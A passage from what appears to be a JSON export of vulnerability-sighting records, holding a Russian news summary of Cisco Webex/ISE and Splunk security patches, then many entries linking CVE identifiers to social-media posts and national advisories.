\u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c Webex.\n\nCisco \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 Webex, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0435\u0434\u0438\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 (SSO), \u00ab\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 SAML \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (IdP) \u0432 Control Hub.\n\n\u041a\u0440\u043e\u043c \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 ISE, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u2013 CVE-2026-20180 \u0438 CVE-2026-20186 \u2013 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u041e\u0421.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n\u0412 \u043e\u0434\u043d\u043e\u0443\u0437\u043b\u043e\u0432\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 Cisco ISE \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f DoS, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0441\u0435\u0442\u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ISE, CVE-2026-20147, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u043c \u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0447\u0442\u043e \u0438 \u0434\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Cisco, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0432\u0435\u0434\u0443\u0449\u0438\u0435 \u043a \u0430\u0442\u0430\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438, XSS, \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0443\u0442\u0435\u0447\u043a\u0430\u043c \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0430\u0442\u0430\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442 \u043e\u0431 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u0432\u0441\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f.\n\n\u041f\u043e\u043c\u0438\u043c\u043e Cisco \u043d\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u00ab\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430\u00bb Splunk, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Splunk Enterprise, Cloud Platform \u0438 MCP Server, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432.\n\n\u0412 Splunk Enterprise and Cloud Platform \u0432\u0441\u043a\u0440\u044b\u0442\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-20204, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438 RCE.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Splunk, \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0435\u0439 \u0432 \u044d\u0442\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435.\n\n\u0412 Splunk Enterprise \u0438 Cloud Platform \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0434\u0432\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442 \u0438\u043b\u0438 \u0431\u0430\u0439\u0442, \u043d\u0435 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 UTF-8, \u0447\u0442\u043e \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0438\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442, \u0430 \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u044b\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Splunk Enterprise \u0434\u043e 10.2.2, 10.0.5, 9.4.10, 9.3.11 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Splunk \u0435\u0449\u0435 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 CVE-2026-20205, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 MCP Server, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0442\u043e\u043a\u0435\u043d\u044b \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u043b\u0438\u0431\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f MCP Server 1.0.3. \n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Splunk Enterprise, Operator for Kubernetes Add-on, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 IT Service Intelligence (ITSI) \u0438 Universal Forwarder.\n\n\u0412 Splunk \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.", "creation_timestamp": "2026-04-16T15:20:07.000000Z"}, {"uuid": "6beac27a-ce81-4a02-a728-c92cc283513f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mjibqcxdsn2p", "content": "", "creation_timestamp": "2026-04-14T21:03:09.517140Z"}, {"uuid": "39ff3a48-5728-4e6e-9eca-e80bda613faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20945", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0116", "content": "", "creation_timestamp": "2026-04-14T12:20:56.000000Z"}, {"uuid": "39d2a0aa-5ace-46c9-bc51-fd9108d05e6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mjiyezd33x2o", "content": "", "creation_timestamp": "2026-04-15T03:48:16.580490Z"}, {"uuid": "ca0f28f2-d2c5-45f1-a900-07f5f4ae308e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mjj4rb44qf25", "content": "", "creation_timestamp": "2026-04-15T05:06:42.256626Z"}, {"uuid": "1702bf21-b320-451f-9324-024ed69b415d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20806", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "dfa17b6d-3e3d-4dcb-82fc-7c9cd5d13953", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20930", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "a09cf09d-6d16-41bd-a786-1461be877f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20928", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "8b248999-632c-4870-b8e9-fe63fe491db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116409637135769540", "content": "", "creation_timestamp": "2026-04-15T16:21:38.622755Z"}, {"uuid": "2e35b8a2-c7c1-4275-a969-7008c7f749b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116409637135769540", "content": "", "creation_timestamp": "2026-04-15T16:21:38.710346Z"}, {"uuid": "98441d1d-ffba-4f62-a33e-b1d96bdad729", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20148", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116409637135769540", "content": "", "creation_timestamp": "2026-04-15T16:21:38.802054Z"}, {"uuid": "41debd0c-310f-450a-8045-0ecba58cc8d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116409637135769540", "content": "", "creation_timestamp": "2026-04-15T16:21:38.903422Z"}, {"uuid": "fa1d2970-eb8c-488b-9a54-685604f0402e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116409637135769540", "content": "", "creation_timestamp": "2026-04-15T16:21:39.005713Z"}, {"uuid": "0c4918c9-fce1-4145-a922-d20c674d877b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjkfoj4tgf2w", "content": "", "creation_timestamp": "2026-04-15T17:18:54.219250Z"}, {"uuid": "12dfd7f0-21c2-499c-9857-17ef2a363dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjkfor53q72w", "content": "", "creation_timestamp": "2026-04-15T17:19:02.346555Z"}, {"uuid": "6c981119-0ad9-414f-a6e0-505851ad8607", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjkfos5erv2f", "content": "", "creation_timestamp": "2026-04-15T17:19:03.364023Z"}, {"uuid": "981a7a0c-7d46-4b62-a88d-378c6f78005f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjkfozrbcw2y", "content": "", "creation_timestamp": "2026-04-15T17:19:11.262794Z"}, {"uuid": "9ef78e5c-f39f-48fc-940c-c5e170b5a919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjkfsq7dm52a", "content": "", "creation_timestamp": "2026-04-15T17:21:15.959323Z"}, {"uuid": "0e74a2c7-c8d5-46f6-9efd-27f1856bbc49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjkfsxtwqp2k", "content": "", "creation_timestamp": "2026-04-15T17:21:24.299358Z"}, {"uuid": "1eaa2628-ed99-4978-b69f-14227674920c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20945", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-microsoft-patch-tuesday-april-2026-patches-163-vulnerabilities-8-critical-154", "content": "", "creation_timestamp": "2026-04-15T07:17:34.000000Z"}, {"uuid": "26e292ca-c7f9-4aa3-bcb3-6d8008c86c74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20161", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjkjm47vzr2t", "content": "", "creation_timestamp": "2026-04-15T18:29:07.757524Z"}, {"uuid": "4c8d491e-7e78-4848-8592-55de1a578bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20081", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjkjt2moz52a", "content": "", "creation_timestamp": "2026-04-15T18:33:01.108239Z"}, {"uuid": "fa4272ca-4f5a-4313-b7ba-50ec271ea59c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20136", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjkjwvn37e2t", "content": "", "creation_timestamp": "2026-04-15T18:35:10.043627Z"}, {"uuid": "ac267b57-a022-45a6-b4af-6f188449a8d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjkk2zzelj2z", "content": "", "creation_timestamp": "2026-04-15T18:37:28.700212Z"}, {"uuid": "96550979-3b66-410b-a03d-7e22d7ec18b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjkk7jfihv2g", "content": "", "creation_timestamp": "2026-04-15T18:39:59.346902Z"}, {"uuid": 